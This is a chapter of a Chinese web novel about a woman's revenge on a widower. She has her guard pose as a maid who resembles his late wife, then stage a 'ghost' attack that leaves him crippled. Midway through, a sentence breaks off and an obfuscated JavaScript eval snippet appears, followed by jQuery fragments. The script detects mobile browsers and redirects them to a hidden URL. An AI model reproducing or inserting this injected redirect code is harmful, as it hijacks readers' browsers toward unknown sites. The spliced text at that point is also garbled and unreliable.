36. 身败名裂

作品:《迫嫁东宫

    接下来的日子里,沈明姝找了人专门盯着陈知煦,奇怪的是他这段时间只去了酒楼里喝酒,却没瞧见他去找他那位外室。沈明姝看着盯梢的人送回来的消息,上面写着陈知煦的动向,说他最近除了上值,就是去酒楼里喝酒,喝醉了就哭,一边哭一边嘴里还嘟嚷着对不起之类的话。


    沈明姝不屑地嗤笑,如今玉姐姐人没了,他不想着照看好孩子,倒是闲情去喝酒,喝醉了又这幅追悔莫及的模样装给谁看?沈明姝看着桌上的回信,手指一下下敲着桌面,沉默着思索着。过了半晌,她叫来扶摇:“扶摇,你去,叫秋水过来。


    秋水是她的近侍之一,是她身边的近侍中武功最高的。平日里她也甚少示于人前,让她去办这事正好合适,又不会被人盯上。


    秋水进来福了一礼:“姑娘,可是有事需吩咐奴婢去做?”


    沈明姝叫她走到身前,贴近她耳语一番后,问她:“如何?对你来说可有压力?”


    秋水轻轻摇头:“此事简单,姑娘放心,奴婢一定办妥。”


    沈明姝看着手上的信纸,良久点点头:“好,你先去准备吧。”


    “是。”


    陈知煦最近日子过得十分混沌,他不敢回家,因为一回家,就能听到孩子们的啼哭,一听见他们的哭声,他就忍不住想起梓玉来。他从没想过要江梓玉死的!他是犯了错,可他不是没有把人带到她面前来吗?他甚至为了他们的孩子,只是把人养在外面而已啊!


    梓玉是他的发妻,两人青梅竹马一起长大,她温柔似水,总是能轻易地就抚平他的一切焦躁和不平。现在他都记得两人新婚夜之时,他挑起盖头看到她的模样:她眉眼如画,情意绵绵地看着他,羞怯又欢喜地轻声叫他:阿煦!那一刻,他只觉得自己的心里满满都是一股难以言状的幸福和欢喜。


    他知道她在家中日子不好过,所以曾经也是真的发誓要怜她爱她,护她一生的。


    是什么时候开始变了的呢?


    陈知煦脑袋有些昏沉,他摇了摇头,想继续倒酒却发现酒壶空了,迷迷糊糊地开始叫人:“小二!上酒......继续上酒......”


    店小二为难地走上前劝他:“公子,真是不好意思,咱们这店啊已经打烊了,您看,不如您明日再来?”


    陈知煦心中的烦闷和苦涩被酒放大,眼下十分的不耐烦,于是踉踉跄跄地任由小厮扶着走了出去。刚出酒楼,就被一个高挑但纤瘦、年纪不大的女子撞了个满怀。


    他本就心情烦闷,现在更是暴躁不已,抬手拉住人就要推搡教训一番!那姑娘惊恐不已,连忙跪下求饶:“我不是故意的,求公子饶命!”


    陈知煦看清她的脸的瞬间,刹那间只觉得兜头浇下一盆冷水,叫他瞬间从朦胧酒意中清醒过来!


    “阿玉?!......”他有些惊疑地摇了摇头,又用力眨了眨眼,终于确认过来那不是江梓玉,只是眉眼间有两分相似罢了。


    可也就是看着这两分相似,让愧疚和悔恨如潮水般涌入心头,叫他迫切地想要做些什么来减轻心理上的负担,于是他问了那姑娘的身份:“敢问姑娘家在何处?我送你回去吧,这么晚了,你一个姑娘家在外走动不安全。”似是怕对方觉得自己唐突,他又补充道:“就当是为我方才吓到姑娘而赔罪吧。”


    “我......我是万花楼里的侍女,不敢劳烦公子,我自己回去便是。”说罢就要将手抽回来,无果。


    “万花楼......”万花楼是京城有名的秦楼楚馆,里边多是些才貌双全的名伶。这些伶人身价极高,因此都配有相应地照顾起居的丫鬟,这姑娘想来就是里头伺候那些伶人的。


    陈知煦没说话,只是将她拉起来,固执地送她回到了万花楼的后门。


    “多谢公子相送!我......我先进去了。”那姑娘到了门口,不敢与他多纠缠,急着进门,却被他叫住:“在下斗胆,敢问姑娘芳名?”


    那姑娘面色瞬间有些不悦,见他穿着贵气,又不敢得罪他,憋了半天,只说了一句:“我不是卖艺的伶人,我只是帮雇主才买东西的。”


    陈知煦失笑:“我知道,今日总归是吓到姑娘了,改日我再来登门谢罪。”见她似要推辞,又补充道:“实不相瞒,姑娘让我想起一位很重要的......故人,心生亲切,所以想尽绵薄之力,聊以慰藉,还望姑娘成全。”


    对面那女子见他态度诚恳,他又长得周正老实,于是告诉他:“我叫青儿。”


    陈知煦闻言轻轻笑了笑:“青儿姑娘,幸会。”


    那姑娘觉得他有些古怪,不敢多待,于是向他辞行:“那我进去了。”说罢不等他回应,就急匆匆走进去了。


    陈知煦不知在想什么,望着她的背影怔愣在原地。其实不止眉眼相似,她的身形也有跟梓玉有些相似,陈知煦心里忍不住想。


    “公子,起风了,咱们回去吧。”


    “嗯。”


    等他离开后,方才进入万花楼的“青儿”再度走了出来,只是换了身干练的装扮,一同走出来的还有扮了男装的沈明姝和扶摇。


    方才他们俩人的动作,沈明姝在楼上看得清清楚楚,越是这样,她越是觉得讽刺,以及恶心!


    活着的人不好好对待,转而去寻找与已故之人相似的新人来补偿,这是什么道理?


    “不出意外,过几日她就会来这儿寻你了,一切按计划行事便是。”沈明姝走上马车,有些疲惫地叮嘱已经换回衣衫的秋水。


    “是,奴婢明白。”


    不出沈明姝所料,两日后,陈知煦就找上门来了。青儿并不是伺候伶人的丫鬟,只是负责后院采买,所以这万花楼的老鸨并不眼熟她。但是那又有什么关系呢?陈知煦拿了一笔银子,只是为了找这么个采买丫鬟说话,这么好赚的银子,老鸨没有理由拒绝。看着手里沉甸甸的银袋子,大手一挥将他们送到了雅间里。


    陈知煦不是真的来寻花问柳的,毕竟江梓玉离世也才半个多月,他就算再畜生也不可能这时候跑到这种地方来找女人。只是他那日见了青儿之后,内心对江梓玉的思念和浓烈的愧疚让他寝食难安,这种感觉在回了家看到不再活泼灵动的熹儿和有些孱弱的安儿之后更加清晰,让他情不自禁地想要看到这个与江梓玉有两分相似的人聊以慰藉!


    他来万花楼来的越发频繁,甚至开始留宿;他来了也不做什么,只是寻个雅间坐着,边喝酒边找青儿说话;有时候甚至什么都不说,就醉眼朦胧地看着她喝酒,一边喝一边哭,似是伤心到了极致。


    他沉浸在自我的表演里,仿佛自己真的是那情深意重痛失爱妻之人。


    这日,天色渐暗,陈知煦照常来寻青儿喝酒,喝了两杯,见青儿欲言又止,有些好奇:“青儿姑娘可是有话要说?”


    “嗯......公子来寻我喝酒,是因为我长得像您新丧的妻子,是吗?”


    这话问得他一愣,他有些不知道该怎么回答。刚开始是,现在或许更多的,是借着她这里来短暂地喘口气。他不想回曾经和江梓玉住过的院子,甚至不太想看到那两个孩子,因为那个院子和那两个孩子,无不提醒他曾经对江梓玉的亏欠和背叛;他更不想去寻他养着的那个女人,因为他们蛇鼠一窝,都是导致江梓玉悲剧的罪魁祸首。


    他没有说话,只是闷头喝酒。不一会儿就醉死过去。


    跟着他的近侍无奈,只能扶着他躺下,自己在门外守着。今日天气正好,夜晚凉爽但是不冷,倒是十分好睡觉,那小厮心想。


    半夜,陈知煦忽而感觉有些口渴,于是起身想要倒水喝。摆放茶水的桌案就在窗户的右手边,窗户半开着。他头有些痛,想透透气,就将原本半开的窗户全部推开了,猛吸了两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459033|182765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    口夜晚微凉的空气,刚想喝水,感觉背后凉飕飕的,总感觉有人在盯着自己。


    他忍不住一回头,就见穿着去世前的衣裳的“江梓玉”正面无表情地站在他的身后,见他转过身来,微微扬起嘴角,皮笑肉不笑地问他:“阿煦,你不是最爱我吗?我死了不就来了这儿找女人?”


    陈知煦刹那间脸色惨白,忍不住发起抖来,他颤着声音大声叫了句:“阿......阿玉”随即往后推了一步,回头朝着窗外刚抬高声音叫了一句:“有......有鬼啊!来人啊......”,就见面前的江梓玉猛地一抬手,接着他只觉得后颈一痛,顿时失去了知觉!


    “江梓玉”一针扎在他的风府穴上,而且怕没效果,还扎得极深!见他晕死过去,也不犹豫,立马将他从大开的窗户里推了下去。随后脱掉外头的浅色的外衫,露出里边黑色的夜行衣,又将面上的假面一截,将脱下来的外衫一并包起来,从窗台上小心地朝外张望,确定陈知煦摔没了知觉以及周围现在没人看到,迅速翻过窗台攀上檐顶,矮着身子消失在夜色里。


    一个晚上过去,寅时时分,更夫正在敲着梆子,高声报着时辰。忽而远远就见万花楼的窗户之下的路上有个什么东西横在那儿,走近一看才见是个人,脑后已经流了一滩血了,人也不知死没死,但是这样子让更夫吓得手脚发抖,急忙转身就跑,一边跑一边还喊着:“死人啦,死人了啊!”


    叫声惊醒了不少睡梦之中的人,万花楼的管事原本还不耐烦被打扰,一开门看见旁边躺着个人,当即吓软了腿,叫人去报了官。


    在官府的人来之前,前边已经围了不少人了。有人认出来了这是兵部侍郎家的公子,顿时大家都从惋惜变成了好奇:


    “不是都说这陈公子深爱发妻吗?可我记得陈家少夫人刚去世不久吧?爱妻刚去不久,这陈公子就来了这万花楼了,啧啧啧......”


    “可不是,谁人不知这陈公子出了名的爱妻,堪称典范!可如今发妻刚去世不久自己就从万花楼的楼上翻出来了,也真是难看了。果然男人都一个样......”官府的人来了后,自然要好好对万花楼里里外外都查验一番。


    因为左右两边房间里的人半夜有听到陈知煦房间的异响,说什么有鬼之类的,前一日有人见他睡前喝得很醉,大部分人都猜他是自己喝醉了做了噩梦不小心从窗台上出来了。


    当然官府的人不会这么好糊弄,特意去寻了时常接触陈知煦的那个青儿,只不过结果出乎所有人意料——确实有青儿是前不久才来的,前后不过半个月的时间,现在却完全不见踪影了。结合其他客人说听到陈知煦当晚喊了“有鬼”的说法,现在与陈知煦接触最多且与他发妻有几分相似的青儿人间蒸发,这诡异的走向让涉事之人都忍不住打了个寒颤——这陈公子不会真是遇到鬼了吧?!


    这骤然消失的人也让大家私底下议论纷纷:


    “啧啧啧,说不定这陈少夫人死得憋屈呢,回来找他报仇来了......”


    “我说也是,你想想啊,这发妻难产而死,不久后这位人尽皆知的爱妻如命的君子就出现在了万花楼,这可不就是踩着发妻的尸骨给自己博了好名声、又忍不住本性吗?若换成是我,我也要报复的,这谁能咽得下这口气......”


    沈明姝坐在茶馆里,漫不经心地喝着茶盏里的茶,听着周围人的窃窃私语,对于这个走向很是满意。唯一不太满意的就是,陈知煦还没完全死亡,现在还留着一口气。大夫说就算就过来了也是口不能言半身不遂的废人一个了。


    但沈明姝觉得还是不够,她觉得应该好人做到底,再送他一程,免得这样声败名裂的父亲留活于世,平白无故地连累熹儿和安儿的名声。


    沈明姝打定了主意,起身准备回去了,却听见身后传来了意想不到的声音:“沈姑娘且慢!”